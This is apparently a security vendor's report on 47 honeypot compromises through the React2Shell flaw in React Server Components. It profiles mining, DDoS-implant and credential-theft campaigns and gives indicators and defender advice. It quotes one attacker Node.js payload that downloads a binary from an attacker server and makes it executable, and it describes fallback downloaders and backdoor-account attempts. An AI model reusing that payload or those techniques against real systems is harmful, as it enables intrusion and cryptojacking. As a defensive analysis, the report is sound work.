React2Shell: 8 months later
React2Shell across 47 real-world compromises.
Eight months after disclosure, React2Shell is still being exploited within minutes to hours. Our research fleet was compromised 47 times over 48 hours. Bitbison recorded, detected and analyzed every attacker action.
By the numbers
- Compromises
- 47
- Time to first compromise
- 13m min 2h 32m median
48 hours across 13 independent exposure windows.
Only 1.4% of probing addresses executed a proof command. Fewer than 1% continued into post-exploitation activity. This funnel counts unique source addresses. The 47 compromises above count events, including repeated compromises from the same source.
The chart counts each DNS request or outbound connection attempt as one network operation. It does not count unique sockets, sessions or destinations. DNS exfiltration produced 41,600 of 49,330 operations (84%). Command-and-control traffic accounted for 2.9%, so volume alone understates its operational significance. We could not decrypt the DNS payloads during the observation window, so their contents remain unknown.
Measured against a conventional detection agent
| Measure | Bitbison | Alternative |
|---|---|---|
| Attacker activity recorded | 100% | <1% |
| Malware recorded | 40/40 | 28/40 |
| Drop locations recorded | 12/12 | 1/12 |
| Alerts raised | 243 | 1,629 |
| False positives | 50* | 849 |
* The false positives were due to an underlying filesystem issue that has since been resolved.
Both systems ran throughout the same 48 hours alongside configuration management. The alternative used its vendor's stock ruleset. Neither system was tuned.
Campaigns
The imeatingpoop mining operation
One operator was responsible for most of what ran on these hosts. The source is a rented server in Cape Town with only SSH exposed. One delivery host runs its own name server for stopbanningmydomains.ru behind a self-signed certificate. Another answers with the placeholder title My Beautiful Website. A third has the reverse name wwwwwwww. Two are named honey-us and honey-tr. The operator shipped a rebuilt orchestrator during the window and pushed it to the second mirror ten minutes after the first.
Details6 samples, 13 endpoints
Identified malware
| Sample | What it is | Public record |
|---|---|---|
| 7d6032764d | Mining orchestrator. Kills rival miners before deploying XMRig | Known |
| deaeab9eb4 | Recompiled build of the same orchestrator. Detected as CoinMiner | New |
| aa0c6cdbeb | XMRig 6.25.0. Stock upstream build | New |
| 0b8e037d16 | XMRig 6.26.0. The next upstream release. Mined to c3pool | New |
| e995fec600 | Miner configuration. Worker imeatingpoop | New |
| 9ea5975e3e | Same configuration with the pools reordered | New |
Infrastructure
| Endpoint | What it did | Connection attempts | Hosted by | Notes |
|---|---|---|---|---|
| Address withheldstopbanningmydomains.ru | Serves stopbanningmydomains.ru and appears as a pool in the miner's configuration | 3,396 | Akile LTDAS61112 · JP | The busiest destination in the window. One address performs two roles |
| Address withheldauto.c3pool.org | Mining pool the miner dialed | 1,624 | OVH USAS16276 · US | Monero RPC on port 18081. Shodan classifies it as cryptocurrency infrastructure |
| Address withheld | Serves the orchestrator at /nuts/poop and the first-stage script at /nuts/bolts | 440 | DC HOST Inc.AS44382 · TR | |
| Address withheld | Serves the same two paths. Its first-stage script fetches from this address | 258 | Cyberzone S.AAS54600 · US | Not a byte copy of the host above: the fetch line names this address instead |
| Address withheldauto.c3pool.org | Mining pool | 248 | AlibabaAL-3 · CN | |
| Address withhelddonate.ssl.xmrig.com | XMRig's own developer donation pool | 76 | VultrAS20473 · US | Its presence proves the miner is an unmodified upstream build |
| Address withheld | C2 the orchestrator reported to | 62 | Akile LTDAS61112 · DE | Same tenant as the busiest delivery host but in a different country |
| Address withhelddonate.ssl.xmrig.com | XMRig's own developer donation pool | 51 | DigitalOceanAS14061 · US | |
| Address withhelddownload.stopbanningmydomains.ru | Serves download.stopbanningmydomains.ru. Requested file not recovered | 22 | DC HOST Inc.AS44382 · TR | Sibling of the first-stage host |
| Address withhelddownload.stopbanningmydomains.ru | Serves download.stopbanningmydomains.ru. Requested file not recovered | 14 | Akile LTDAS61112 · JP | |
| Address withhelddownload.stopbanningmydomains.ru | Serves download.stopbanningmydomains.ru. Requested file not recovered | 12 | HostPapaAS36352 · US | |
| Address withheldauto.c3pool.org | Mining pool | 9 | OVH SASAS16276 · FR | |
| Address withheld | Serves the rebuilt orchestrator and was fetched by it | 4 | Unattributed |
rondo
One operator piped a script from its own control server straight into a shell 22 times over 27 hours. The source and its busiest control server are rented from the same company in the same Dutch city. Both run the same SSH build. This is a stronger link than their shared address range. Three control servers first appeared within ninety seconds of one another; two listened on encrypted ports. One runs an operating system that stopped receiving security updates years ago with remote desktop exposed to the internet.
Details1 sample, 3 endpoints
Identified malware
| Sample | What it is | Public record |
|---|---|---|
| d9ae9bf4b8 | Gafgyt denial-of-service implant. Held a persistent channel | New |
Infrastructure
| Endpoint | What it did | Connection attempts | Hosted by | Notes |
|---|---|---|---|---|
| Address withheld | C2 reached by the implant | 695 | 1337 Services GmbHAS210558 · NL | Abuse-tolerant hoster |
| Address withheld | C2 reached by the implant | 565 | XSServer GmbHAS44592 · DE | Same /24 as an inbound attacking source |
| Address withheld | C2 reached by the implant | 58 | UAB Host BalticAS209605 · LT | End-of-life OS, self-signed TLS, RDP exposed |
The .b implant
One host did everything. It attacked us, served the payload and received the beacons. Most operators split those three functions across separate machines. The implant was fetched from that address then started with the address on its command line. Within 220 milliseconds it wrote a watchdog, a persistence binary disguised as a system component and a flooder. It then called home. The address range is registered to an individual with an abuse contact in Kharkiv.
Details2 samples, 1 endpoint
Identified malware
| Sample | What it is | Public record |
|---|---|---|
| 203c2357d1 | Respawn watchdog for .b. Restarts it every 60 seconds | New |
| b7d0ce1014 | Layer 7 flooder, Go. Staged by .b | New |
Infrastructure
| Endpoint | What it did | Connection attempts | Hosted by | Notes |
|---|---|---|---|---|
| Address withheld | Inbound source, delivery host and C2 on one address | 27 | NET-94-15-40AS219502 · US | Most operators separate those three functions |
Mini Shai-Hulud
One operator eventually used an in-process React2Shell backdoor to execute a new standalone Mini Shai-Hulud variant alongside an SSH worm and multiple persistence mechanisms. Our separate analysis covers the variant, execution chain and infrastructure.
Learn more →Credential harvest
Two rented servers in the same region ran the same image and sent byte-identical payloads. We group them as one operator. The collector, hosted by vsys.host on AS43641, names and versions itself on its login page. It advertises 49 collection phases. The dashboard requires authentication but the intake does not. We recorded two phases in a 32-second burst.
Details1 endpoint
Infrastructure
| Endpoint | What it did | Connection attempts | Hosted by | Notes |
|---|---|---|---|---|
| Address withheld | NEXUS Listener, the collector for the 32-second harvest | 66 | vsys.hostAS43641 · NL | Serves a branded login panel advertising a 49-phase receiver. We caught two phases |
The five-fallback downloader
Three addresses shared one payload. We group them as one operator. The downloader falls back through curl, wget, Python and Perl before issuing a raw socket request. The last path works without a standard download tool. The target returned no payload, so there is no sample.
Details1 endpoint
Infrastructure
| Endpoint | What it did | Connection attempts | Hosted by | Notes |
|---|---|---|---|---|
| Address withheld | Target of the five-deep fallback chain | 35 | RackNerd LLCAS36352 · US |
Most scanning never became exploitation
Of 1,386 distinct addresses that scanned or probed the hosts, 19 executed a proof command (1.4%). Twelve continued into post-exploitation activity (0.87%). The 47 compromises were events rather than unique sources. Some sources compromised a host more than once.
Failure continued after entry. Operators repeatedly launched persistence, delivery and eviction branches without checking whether they worked.
Successful exploitation did not always create a process
Of the 1,560 exploit requests that reached the gadget, 20.3% spawned no child process. 3.1% also made no outbound connection and produced no distinguishing reverse-proxy record. The proxy returned HTTP 500 for all 1,560 requests whether the exploit succeeded or failed.
One operator delivered the same payload to the same path in two forms within minutes. The first used wget and a shell. The second resolved the fetch, write and permission change inside Node:
process.mainModule.require('http').get(
'http://[address-withheld]/nuts/poop',
r => r.pipe(require('fs').createWriteStream('/app/let')
.on('finish', () => fs.chmodSync('/app/let', 0o711)))
)Only the first form appeared in process-creation telemetry. Bitbison recorded both.
Two additional results define the limits of conventional evidence:
- Eight of nine recovered campaign samples were absent from public malware collections when we checked. Three are present now because we submitted them.
- A credential harvester stole a planted SSH key, fake AWS credentials, a wallet seed and the environment in 32 seconds. The key was never reused. The account worked. Outbound SSH was permitted and both ends were observed.
Operator bloopers
At the risk of helping the operators debug their code, the record contains an amusing set of post-compromise failures:
- A persistence branch attempted to create a backdoor account with passwordless sudo. The web user could not run
useradd. Every result went to/dev/null, so it failed 74 times without informing the operator. - The standalone Mini Shai-Hulud chain included a PHP fallback with a parse error. The operator eventually reached execution through another path.
- Another actor requested a payload URL with
http://duplicated before its redacted host. The payload existed on the actor's server, but the doubled scheme prevented delivery. - A 124-byte watchdog attempted to trap
SIGKILL. Linux does not permit this. The watchdog then restarted its implant every 60 seconds. - The mining script tried to delete rondo from a stale path. Both implants ran together for ten hours without either operator noticing.
- The same miner retained XMRig's developer donation. Part of the cryptocurrency mined on compromised hosts went to XMRig's authors.
What defenders should do
- Resolve the installed React dependency instead of trusting the manifest. Many affected applications declared Next.js and received React transitively.
npm ls --allreports the effective tree. Inspect the installedreact-server-dom-*packages. - Upgrade to a currently supported patched release. The React2Shell RCE patch remains effective, but later RSC flaws received CVE-2025-55183, CVE-2025-55184, CVE-2025-67779 and CVE-2026-23864.
- Record what request handlers do, not only the processes they spawn. A fifth of the activity in this window produced no process.
- Treat paths, hashes and public corpora as retrospective evidence rather than detection boundaries. Attackers used twelve drop directories and randomized names on each execution. Twenty-nine filenames did not represent 29 binaries.
Method and disclosure
Bitbison records and analyzes system operations and their complete causal histories without sampling at production scale.
We made this record a foundational property of the policy system. Our extensible data model let us attribute system-level side effects to application behavior exposed through standard OpenTelemetry instrumentation. Our internal harnesses and runtimes use the complete causal record to automate broad parts of the analysis with AI. Each result retains the source operations and causal edges needed for verification. The resulting record let us distinguish successful exploitation from failure even when an attempt created no child process, made no outbound connection and produced the same HTTP 500 response as every other attempt.
The measurements cover 48 hours across 13 independent exposure windows. Both detection systems ran throughout. The alternative used its stock ruleset. Neither system was tuned. Known research scanners were excluded before counting executing addresses.
Want more? Security researchers can contact us at team@. We are happy to share additional data.
Indicators
- domains
stopbanningmydomains.rudownload.stopbanningmydomains.ru- hashes
7d6032764df8e706c458e663e5501ce627e4f2985c16ea61e299f2ac429cbcc9deaeab9eb43fcf70d184c209e4bc1077ae6e7e2b182c1cbbc202dfdc053dc01caa0c6cdbeb3bc3ce07d5060958e1a38e54287bc89e25f6def98b620999ff4f7a0b8e037d160bdb0b621c975c424f680b814bc438fd492ae376ff3140e209e480e995fec600f36e946452ca520198b1971b0202dfa1a1fba4acfac8375c3818ea9ea5975e3e032e693d92d9a5c15b6993cc692a7cd79824a4ba55a5ee64a2a3f4d9ae9bf4b810b07470e786deb6454b8928cba4fe77278b8f4b4f6c5cdcb4e0c4b7d0ce1014da1bd04bfc8f04175daa5c8e26e86b2bb27a5be05f12ac1a7d6684203c2357d1ff6bf0804a580c31265526608b2b16b7420b54f0fc6125f4da487a- credentials
imeatingpoop- packages
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Sources
- React — Critical security vulnerability in React Server Components
- Next.js — Security advisory for CVE-2025-66478
- React — Denial of service and source code exposure in React Server Components
- Next.js — Security update, 11 December 2025
- Rapid7 — React2Shell, critical unauthenticated RCE affecting React Server Components
- Unit 42 — Exploitation of a critical vulnerability in React Server Components
- Google Cloud GTIG — Multiple threat actors exploit React2Shell
- Rubrik Zero Labs — PCPcat campaign, large-scale exploitation of React2Shell